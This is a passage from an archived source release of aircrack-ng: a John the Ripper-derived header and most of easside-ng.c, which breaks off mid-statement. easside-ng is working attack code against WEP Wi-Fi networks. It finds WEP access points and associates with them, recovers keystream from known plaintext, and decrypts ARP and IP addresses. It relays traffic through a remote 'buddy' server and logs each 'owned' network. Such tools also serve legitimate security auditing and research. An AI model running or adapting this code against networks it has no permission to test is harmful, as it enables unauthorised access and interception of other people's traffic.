$(LDFLAGS) test-hex_string_to_array.c ../src/common.c -o $(@) $(LDFLAGS) clean: -rm -f test-hex_string_to_array.o test-hex_string_to_array$(EXE) check: all ./test-hex_string_to_array.sh aircrack-ng-1.2-rc4/src/0000755000000000000000000000000012660222375013515 5ustar rootrootaircrack-ng-1.2-rc4/src/jcommon.h0000644000000000000000000001005212640667310015326 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This file is part of John the Ripper password cracker, * Copyright (c) 1996-99,2005,2009,2011,2013 by Solar Designer * * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * There's ABSOLUTELY NO WARRANTY, express or implied. */ /* * Things common to many ciphertext formats. */ #ifndef _JCOMMON_H #define _JCOMMON_H #include "arch.h" #include "memory.h" #if ARCH_INT_GT_32 typedef unsigned short ARCH_WORD_32; typedef unsigned int ARCH_WORD_64; #else typedef unsigned int ARCH_WORD_32; typedef unsigned long long ARCH_WORD_64; #endif /* ONLY use this to check alignments of even power of 2 (2, 4, 8, 16, etc) byte counts (CNT). The cast to void* MUST be done, due to C spec. http://stackoverflow.com/a/1898487 */ #define is_aligned(PTR, CNT) ((((ARCH_WORD)(const void *)(PTR))&(CNT-1))==0) #ifdef __GNUC__ #if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 7) || defined(__INTEL_COMPILER) #define MAYBE_INLINE __attribute__((always_inline)) inline #elif __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1) #define MAYBE_INLINE __attribute__((always_inline)) #else #define MAYBE_INLINE __inline__ #endif #elif __STDC_VERSION__ >= 199901L #define MAYBE_INLINE inline #else #define MAYBE_INLINE #endif #if ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 2) #define CC_CACHE_ALIGN \ __attribute__ ((aligned (MEM_ALIGN_CACHE))) #else #define CC_CACHE_ALIGN /* nothing */ #endif /* * This "shift" is the number of bytes that may be inserted between arrays the * size of which would be a multiple of cache line size (some power of two) and * that might be accessed simultaneously. The purpose of the shift is to avoid * cache bank conflicts with such accesses, actually allowing them to proceed * simultaneously. This number should be a multiple of the machine's word size * but smaller than cache line size. */ #define CACHE_BANK_SHIFT ARCH_SIZE /* * ASCII <-> binary conversion tables. */ //extern const char itoa64[64]; /* crypt(3) base64 - not MIME Base64! */ extern char atoi64[0x100]; extern const char itoa16[16]; extern char atoi16[0x100]; extern const char itoa16u[16]; // uppercase /* * Initializes the tables. */ extern void common_init(void); #endif aircrack-ng-1.2-rc4/src/easside-ng.c0000644000000000000000000014641212632676360015716 0ustar rootroot /* * Copyright (c) 2007-2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define __FAVOR_BSD #include #undef __FAVOR_BSD #include "osdep/osdep.h" #include "ieee80211.h" #include "easside.h" #include "if_arp.h" #include "ethernet.h" #include "version.h" #include "osdep/byteorder.h" #define S_MTU 1500 #define S_MCAST "\x01\x00\x5e\x01\x00" #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define S_PRGA_LOG "prga.log" #define S_OWN_LOG "own.log" #define S_MIN_RTO 10 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); enum { S_SEARCHING = 0, S_SENDAUTH, S_SENDASSOC, S_ASSOCIATED }; enum { AS_NOPRGA = 0, AS_PRGA_EXPAND, AS_FIND_IP, AS_DECRYPT_ARP, AS_DECRYPT_IP, AS_FIND_RTR_MAC, AS_CHECK_INET, AS_REDIRECT }; struct rpacket { unsigned char rp_packet[2048]; int rp_len; int rp_id; struct rpacket *rp_next; }; struct owned { unsigned char ow_mac[6]; struct owned *ow_next; }; struct east_state { /* conf & params */ char es_ifname[256]; unsigned char es_mymac[6]; int es_setmac; int es_iponly; struct wif *es_wi; char es_tapname[16]; struct tif *es_ti; unsigned int es_hopfreq; int es_txto_mgt; int es_txto_expand; int es_expand_factor; int es_txto_decrypt; int es_port; int es_udp_port; int es_txto_whohas; int es_txto_checkinet; int es_txto_redirect; unsigned char es_clear[S_MTU+4]; struct rpacket *es_rqueue; struct owned *es_owned; int es_chanlock; /* state */ unsigned char es_apmac[6]; int es_apchan; char es_apssid[256]; int es_state; struct timeval es_lasthop; int es_txseq; struct timeval es_txlast; unsigned char es_prga[S_MTU+4]; unsigned char *es_clearp; unsigned char *es_clearpnext; int es_prgalen; unsigned char es_iv[3]; int es_expand_num; int es_expand_len; int es_txack; unsigned char es_prga_d[S_MTU+4]; int es_prga_dlen; unsigned char es_prga_div[3]; unsigned char es_packet[2048]; int es_have_packet; int es_have_src; unsigned char es_packet_arp[2048]; int es_have_arp; struct in_addr es_myip; struct in_addr es_rtrip; struct in_addr es_pubip; unsigned char es_rtrmac[6]; struct in_addr es_srvip; int es_buddys; unsigned short es_rpacket_id; struct timeval es_rtt; unsigned short es_rtt_id; int es_srtt; int es_rxseq; int es_astate; }; static struct east_state _es; void printf_time(char *fmt, ...) { va_list ap; struct timeval now; time_t t; struct tm *tm; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); t = time(NULL); if (t == (time_t)-1) err(1, "time()"); tm = localtime(&t); if (!tm) err(1, "localtime()"); printf("[%.2d:%.2d:%.2d.%.6lu] ", tm->tm_hour, tm->tm_min, tm->tm_sec, (long unsigned int)now.tv_usec); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } void hexdump(void *x, int len) { unsigned char *p = x; while (len--) printf("%.2X ", *p++); printf("\n"); } void mac2str(char *str, unsigned char* m, int macsize) { snprintf(str, macsize, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", m[0], m[1], m[2], m[3], m[4], m[5]); } int str2mac(unsigned char *mac, char *str) { unsigned int macf[6]; int i; if (sscanf(str, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) return -1; for (i = 0; i < 6; i++) *mac++ = (char) macf[i]; return 0; } void init_defaults(struct east_state *es) { memset(es, 0, sizeof(*es)); memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6); es->es_setmac = 0; strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname)-1); es->es_state = S_SEARCHING; es->es_hopfreq = 100; /* ms */ es->es_txto_mgt = 100; /* ms */ es->es_txto_expand = 100; es->es_expand_factor = 3; memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8); es->es_clearpnext = es->es_clearp = es->es_clear; es->es_txto_decrypt = 10; es->es_txto_whohas = 500; es->es_txto_checkinet = 2000; es->es_txto_redirect = 2000; es->es_port = S_DEFAULT_PORT; es->es_udp_port = S_DEFAULT_UDP_PORT; } void reset(struct east_state *es) { int sz; void *ptr; struct rpacket *p; struct owned *ow; FILE *f; char mac[18]; /* close buddy */ close(es->es_buddys); es->es_buddys = 0; /* reset state */ ptr = es->es_apmac; sz = sizeof(*es) - ((unsigned long)ptr - (unsigned long)es); memset(ptr, 0, sz); /* fixup state */ es->es_clearpnext = es->es_clearp = es->es_clear; p = es->es_rqueue; while (p) { p->rp_len = 0; p = p->rp_next; } /* log ownage */ ow = malloc(sizeof(*ow)); if (!ow) err(1, "malloc()"); memset(ow, 0, sizeof(*ow)); memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac)); ow->ow_next = es->es_owned; es->es_owned = ow; f = fopen(S_OWN_LOG, "a"); if (!f) err(1, "fopen()"); mac2str(mac, es->es_apmac, sizeof(mac)); fprintf(f, "%s %d %s %s\n", mac, es->es_apchan, es->es_apssid, inet_ntoa(es->es_pubip)); fclose(f); /* start over */ es->es_state = S_SEARCHING; printf_time("Restarting"); } /********** RIPPED ************/ unsigned short in_cksum (unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /************** ************/ void open_wifi(struct east_state *es) { struct wif *wi; wi = wi_open(es->es_ifname); if (!wi) err(1, "wi_open()"); assert(es->es_wi == NULL); es->es_wi = wi; } void open_tap(struct east_state *es) { struct tif *ti; char *iface = NULL; if (es->es_tapname[0]) iface = es->es_tapname; ti = ti_open(iface); if (!ti) err(1, "ti_open()"); strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1); es->es_tapname[sizeof(es->es_tapname) - 1] = 0; printf("Setting tap MTU\n"); if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()"); es->es_ti = ti; } void set_mac(struct east_state *es) { printf("Sorting out wifi MAC\n"); if (!es->es_setmac) { char mac[18]; if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()"); mac2str(mac, es->es_mymac, sizeof(mac)); printf("MAC is %s\n", mac); } else if (wi_set_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_set_mac()"); printf("Setting tap MAC\n"); if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()"); } void set_tap_ip(struct east_state *es) { if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()"); } void die(char *m) { struct east_state *es = &_es; printf("Dying: %s\n", m); if (es->es_wi) wi_close(es->es_wi); if (es->es_ti) ti_close(es->es_ti); exit(0); } void sighand(int sig) { if (sig) {} /* XXX unused */ die("signal"); } void set_chan(struct east_state *es) { int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan; if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel"); } void clear_timeout(struct east_state *es) { memset(&es->es_txlast, 0, sizeof(es->es_txlast)); } void read_beacon(struct east_state *es, struct ieee80211_frame *wh, int len) { ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t) (wh+1); u_int16_t capa; int bhlen = 12; int got_ssid = 0, got_channel = 0; struct owned *own = es->es_owned; len -= sizeof(*wh) + bhlen; if (len < 0) { printf("Short beacon %d\n", len); return; } if (es->es_state != S_SEARCHING) return; /* only wep */ capa = IEEE80211_BEACON_CAPABILITY(b); if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS))) return; /* lookin for a specific dude */ if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0) { if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return; } /* check if we already owned him */ while (own) { if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return; own = own->ow_next; } /* SSID and channel */ b += bhlen; while (len > 1) { unsigned char ie_len = b[1]; len -= 2 + ie_len; if (len < 0) { printf("Short IE %d %d\n", len, ie_len); return; } switch (b[0]) { case IEEE80211_ELEMID_SSID: if (!got_ssid) { strncpy(es->es_apssid, (char*) &b[2], ie_len); es->es_apssid[ie_len] = 0; if (strlen(es->es_apssid)) got_ssid = 1; } break; case IEEE80211_ELEMID_DSPARMS: if (!got_channel) got_channel = b[2]; break; } if (got_ssid && got_channel) { char str[18]; memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac)); es->es_apchan = got_channel; es->es_state = S_SENDAUTH; mac2str(str, es->es_apmac, sizeof(str)); printf("\nSSID %s Chan %d Mac %s\n", es->es_apssid, es->es_apchan, str); if (!es->es_chanlock) set_chan(es); return; } b += 2 + ie_len; } } int for_me_and_from_ap(struct east_state *es, struct ieee80211_frame *wh) { if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return 0; if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return 0; return 1; } void read_auth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDAUTH) return; if (!for_me_and_from_ap(es, wh)) return; if (le16toh(*sp) != 0) { printf("weird auth algo: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 2) { printf("weird auth transno: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 0) { printf("Auth unsuccesful %d\n", le16toh(*sp)); exit(1); } printf("Authenticated\n"); es->es_state = S_SENDASSOC; } int is_dup(struct east_state *es, struct ieee80211_frame *wh) { unsigned short *sn = (unsigned short*) &wh->i_seq[0]; unsigned short s; s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (s == es->es_rxseq) return 1; es->es_rxseq = s; return 0; } void read_deauth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Deauth: %d\n", le16toh(*sp)); es->es_state = S_SENDAUTH; } void read_disassoc(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Disassoc: %d\n", le16toh(*sp)); es->es_state = S_SENDASSOC; } void read_assoc_resp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDASSOC) return; if (!for_me_and_from_ap(es, wh)) return; sp++; /* capa */ /* sc */ if (le16toh(*sp) != 0) { printf("Assoc unsuccessful %d\n", le16toh(*sp)); exit(1); } sp++; printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp))); es->es_state = S_ASSOCIATED; es->es_txack = 0; es->es_expand_num = -1; } void read_mgt(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len < (int) sizeof(*wh)) { printf("Short mgt %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: case IEEE80211_FC0_SUBTYPE_PROBE_RESP: read_beacon(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_AUTH: read_auth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_PROBE_REQ: case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: break; case IEEE80211_FC0_SUBTYPE_DEAUTH: read_deauth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_DISASSOC: read_disassoc(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: read_assoc_resp(es, wh, len); break; default: printf("Unknown mgmt subtype %x\n", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK); break; } } void read_ack(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len) {} /* XXX unused */ if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return; es->es_txack = 1; // printf("Ack\n"); } void read_ctl(struct east_state *es, struct ieee80211_frame *wh, int len) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ACK: read_ack(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_RTS: case IEEE80211_FC0_SUBTYPE_CTS: case IEEE80211_FC0_SUBTYPE_PS_POLL: case IEEE80211_FC0_SUBTYPE_CF_END: break; default: printf("Unknown ctl subtype %x\n", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK); break; } } int our_network(struct east_state *es, struct ieee80211_frame *wh) { void *bssid = (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1; return memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0; } void xor(void *out, void *clear, void *cipher, int len) { unsigned char *cl = (unsigned char*) clear; unsigned char *ci = (unsigned char*) cipher; unsigned char *o = (unsigned char*) out; while (len--) *o++ = *cl++ ^ *ci++; } void save_prga(struct east_state *es) { int fd, rc; assert(es->es_prgalen <= (int) sizeof(es->es_prga)); printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]", es->es_prgalen, es->es_iv[0], es->es_iv[1], es->es_iv[2]); #if 0 printf(": "); for (i = 0; i < es->es_prgalen; i++) printf("%.2X ", es->es_prga[i]); #endif printf("\n"); fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644); if (fd == -1) err(1, "save_prga: open()"); rc = write(fd, es->es_iv, 3); if (rc != 3) { printf("save_prga: can't write IV\n"); exit(1); } rc = write(fd, es->es_prga, es->es_prgalen); if (rc != es->es_prgalen) { printf("save_prga: can't write PRGA\n"); exit(1); } close(fd); } int is_arp(struct ieee80211_frame *wh, int len) { int arpsize = 8 + sizeof(struct arphdr) + 10*2; if (wh) {} /* XXX unused */ if (len == arpsize || len == 54) return 1; return 0; } void *get_sa(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr3; else return wh->i_addr2; } void *get_da(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr1; else return wh->i_addr3; } int known_clear(void *clear, struct ieee80211_frame *wh, int len) { unsigned char *ptr = clear; /* IP */ if (!is_arp(wh, len)) { unsigned short iplen = htons(len - 8); printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; memcpy(ptr, &iplen, len); ptr += len; #endif len = ptr - ((unsigned char*)clear); return len; } printf("Assuming ARP %d\n", len); /* arp */ len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); return len; } void base_prga(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ct[1024]; unsigned char *data = (unsigned char*) (wh+1); int prgalen; memcpy(es->es_iv, data, 3); data += 4; len -= 4 + 4; /* IV & CRC */ if (len <= 0) { printf("base_prga: lame len %d\n", len); return; } prgalen = known_clear(ct, wh, len); xor(es->es_prga, ct, data, prgalen); es->es_prgalen = prgalen; save_prga(es); } unsigned int get_crc32(void *data, int len) { uLong crc; crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, data, len); return crc; } void check_expand(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; unsigned long crc; unsigned char *data = (unsigned char*) (wh+1); if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return; if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return; if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return; if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return; elen = es->es_expand_len; if (elen != (len-4)) return; if (elen <= es->es_prgalen) return; /* iv */ memcpy(es->es_iv, data, 3); data += 4; elen -= 4; /* payload */ assert(elen <= (int) sizeof(es->es_clear)); es->es_prgalen = elen + 4; xor(es->es_prga, es->es_clear, data, elen); /* crc */ crc = htole32(get_crc32(es->es_clear, elen)); xor(&es->es_prga[elen], &crc, data + elen, 4); save_prga(es); if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; } int to_me(struct east_state *es, struct ieee80211_frame *wh) { return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && memcmp(es->es_mymac, get_da(wh), 6) == 0; } int from_me(struct east_state *es, struct ieee80211_frame *wh) { return memcmp(es->es_mymac, get_sa(wh), 6) == 0; } int check_decrypt(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; if (!from_me(es, wh)) return 0; if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return 0; elen = es->es_prga_dlen + 1; if (elen != (len - 4)) return 0; es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5]; #if 0 printf("\nPrga byte %d is %.2X\n", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); #endif es->es_prga_dlen++; assert(es->es_prga_dlen <= (int) sizeof(es->es_prga_d)); return 1; } void decrypt_ip_addr(struct east_state *es, void *dst, int *len, void *cipher, int off) { unsigned char *c = cipher; *len = es->es_prga_dlen - off; if (*len > 4) *len = 4; assert(*len > 0); xor(dst, c + off, es->es_prga_d + off, *len); } void found_net_addr(struct east_state *es, unsigned char *a) { unsigned char ip[4]; memcpy(ip, a, 3); if (!ip[0]) { printf("Shit, prolly got a lame dhcp dude\n"); exit(1); } ip[3] = 123; memcpy(&es->es_myip, ip, 4); printf("My IP %s\n", inet_ntoa(es->es_myip)); set_tap_ip(es); ip[3] = 1; memcpy(&es->es_rtrip, ip, 4); printf("Rtr IP %s\n", inet_ntoa(es->es_rtrip)); es->es_astate = AS_FIND_RTR_MAC; } void check_decrypt_arp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ip[4]; int iplen; int off = 8 + sizeof(struct arphdr) + 6; unsigned char *data; int i; if (!check_decrypt(es, wh, len)) return; iplen = es->es_prga_dlen - off; assert(iplen > 0 && iplen <= (int) sizeof(ip)); data = (unsigned char*)(((struct ieee80211_frame*)es->es_packet_arp)+1); data += + 4 + off; xor(ip, data, &es->es_prga_d[off], iplen); printf("\nARP IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if ((i+1) < iplen) printf("."); } printf("\n"); if (iplen == 3) found_net_addr(es, ip); } void check_decrypt_ip(struct east_state *es, struct ieee80211_frame *wh, int len) { int off_ip = 8; int off_id = off_ip + 4; int off_ttl = off_id + 4; int off_p = off_ttl + 1; int off_check = off_p + 1; int off_s_addr = off_check + 2; int off_d_addr = off_s_addr + 4; unsigned char *data = es->es_packet + sizeof(*wh) + 4; if (!check_decrypt(es, wh, len)) return; if (es->es_prga_dlen == (off_id+2)) { #if 0 unsigned char *c = data + off_id + 2; #endif printf("\nGot IP ID\n"); #if 0 xor(&es->es_prga_d[es->es_prga_dlen], c, "\x00\x00", 2); es->es_prga_dlen += 2; es->es_prga_d[es->es_prga_dlen] = 0; #endif } else if (es->es_prga_dlen == (off_ttl+1)) { printf("\nGot IP TTL\n"); } else if (es->es_prga_dlen == (off_p+1)) { unsigned char *c = data + off_p; int p = (*c) ^ es->es_prga_d[es->es_prga_dlen-1]; char *str = NULL; switch (p) { case IPPROTO_ICMP: str = "icmp"; break; case IPPROTO_UDP: str = "udp"; break; case IPPROTO_TCP: str = "tcp"; break; default: str = "unknown"; break; } printf("\nGot proto %s\n", str); } else if (es->es_prga_dlen == (off_check+2)) { printf("\nGot checksum [could use to help bforce addr]\n"); } else if ((es->es_prga_dlen >= off_s_addr) && (es->es_prga_dlen <= (off_s_addr+4))) { unsigned char ip[4]; int iplen; int i; decrypt_ip_addr(es, ip, &iplen, data, off_s_addr); printf("\nSource IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if (i+1 < iplen) printf("."); } printf("\n"); if (es->es_have_src && iplen == 3) found_net_addr(es, ip); } else if ((es->es_prga_dlen >= off_d_addr) && (es->es_prga_dlen <= (off_d_addr+4))) { unsigned char dip[4]; struct in_addr sip; int iplen; int i; decrypt_ip_addr(es, &sip, &i, data, off_s_addr); decrypt_ip_addr(es, dip, &iplen, data, off_d_addr); printf("\nIPs so far %s->", inet_ntoa(sip)); for (i = 0; i < iplen; i++) { printf("%d", dip[i]); if (i+1 < iplen) printf("."); } printf("\n"); assert(!es->es_have_src); if (iplen == 3) found_net_addr(es, dip); } else if (es->es_prga_dlen > off_d_addr) abort(); } void setup_internet(struct east_state *es) { struct sockaddr_in s_in; char buf[16]; es->es_astate = AS_CHECK_INET; clear_timeout(es); printf("Trying to connect to buddy: %s:%d\n", inet_ntoa(es->es_srvip), es->es_port); assert(es->es_buddys == 0); es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (es->es_buddys == -1) err(1, "setup_internet: socket()"); memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_addr = es->es_srvip; s_in.sin_port = htons(es->es_port); if (connect(es->es_buddys, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "setup_internet: connect()"); printf("Connected\n"); /* handshake */ if (send(es->es_buddys, "sorbo", 5, 0) != 5) err(1, "setup_internet: send()"); if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()"); if (memcmp(buf, "sorbox", 6) != 0) { printf("setup_internet: handshake failed"); exit(1); } printf("Handshake compl33t\n"); } void check_rtr_mac(struct east_state *es, struct ieee80211_frame *wh, int len) { void *sa; char str[18]; if (!to_me(es, wh)) return; if (!is_arp(wh, len-4-4)) return; sa = get_sa(wh); memcpy(es->es_rtrmac, sa, 6); mac2str(str, es->es_rtrmac, sizeof(str)); printf("Rtr MAC %s\n", str); setup_internet(es); } struct rpacket *get_slot(struct east_state *es) { struct rpacket *slot = es->es_rqueue; struct rpacket *p = es->es_rqueue; /* try to recycle */ while (slot) { if (!slot->rp_len) return slot; slot = slot->rp_next; } slot = malloc(sizeof(*slot)); if (!slot) err(1, "get_slot: malloc()"); memset(slot, 0, sizeof(*slot)); if (!p) es->es_rqueue = slot; else { while (p->rp_next) p = p->rp_next; p->rp_next = slot; } return slot; } struct rpacket *get_head(struct east_state *es) { struct rpacket *rp = es->es_rqueue; if (!rp) return NULL; if (!rp->rp_len) return NULL; return rp; } struct rpacket *get_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; while (rp) { if (!rp->rp_len) return NULL; if (rp->rp_id == id) return rp; rp = rp->rp_next; } return NULL; } void remove_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; struct rpacket **prevn; struct rpacket *p; assert(rp); prevn = &es->es_rqueue; /* find and remove */ while (rp) { if (rp->rp_id == id) { rp->rp_len = 0; *prevn = rp->rp_next; break; } prevn = &rp->rp_next; rp = rp->rp_next; } assert(rp); /* only one element */ p = es->es_rqueue; if (!p) { es->es_rqueue = rp; assert(!rp->rp_next); return; } while (p) { if (!p->rp_len) { rp->rp_next = p->rp_next; p->rp_next = rp; return; } prevn = &p->rp_next; p = p->rp_next; } /* last elem */ rp->rp_next = NULL; *prevn = rp; } int queue_len(struct east_state *es) { int len = 0; struct rpacket *slot = es->es_rqueue; while (slot) { if (!slot->rp_len) break; len++; slot = slot->rp_next; } return len; } void redirect_enque(struct east_state *es, struct ieee80211_frame *wh, int len) { char s[18]; char d[18]; struct rpacket *slot; slot = get_slot(es); slot->rp_len = len; assert(slot->rp_len <= (int) sizeof(slot->rp_packet)); memcpy(slot->rp_packet, wh, slot->rp_len); es->es_rpacket_id++; slot->rp_id = es->es_rpacket_id; mac2str(s, get_sa(wh), sizeof(s)); mac2str(d, get_da(wh), sizeof(d)); printf_time("Enqueued packet id %d %s->%s %d [qlen %d]\n", slot->rp_id, s, d, len - sizeof(*wh) - 4- 4, queue_len(es)); } void check_redirect(struct east_state *es, struct ieee80211_frame *wh, int len) { if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; redirect_enque(es, wh, sizeof(*wh) + len); } void read_data(struct east_state *es, struct ieee80211_frame *wh, int len) { if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != IEEE80211_FC0_SUBTYPE_DATA) return; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return; if (!our_network(es, wh)) return; if (!from_me(es, wh)) { if (!es->es_have_packet || (es->es_astate <= AS_FIND_IP && !es->es_have_src)) { assert((int) sizeof(es->es_packet) >= len); memcpy(es->es_packet, wh, len); es->es_have_packet = len; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1; if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0) es->es_have_src 